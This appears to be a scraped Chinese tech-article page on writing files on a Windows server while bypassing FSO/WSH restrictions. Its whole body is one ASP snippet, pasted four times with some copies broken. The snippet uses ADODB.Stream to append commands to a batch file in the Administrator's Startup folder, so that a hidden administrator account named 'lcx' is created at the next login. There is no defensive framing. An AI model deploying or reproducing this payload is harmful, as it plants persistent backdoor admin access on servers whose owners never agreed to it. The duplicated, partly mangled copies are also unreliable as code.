跨越fso、wsh、 application写文件
程序员文章站
2022-07-02 18:26:53
<% on error resume next dim lcxset lcx=server.createobject("adodb.stream") lcx.open...
<%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%>
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%>
上一篇: 基于SSM和jstl的分页实现教程
下一篇: github上传项目示例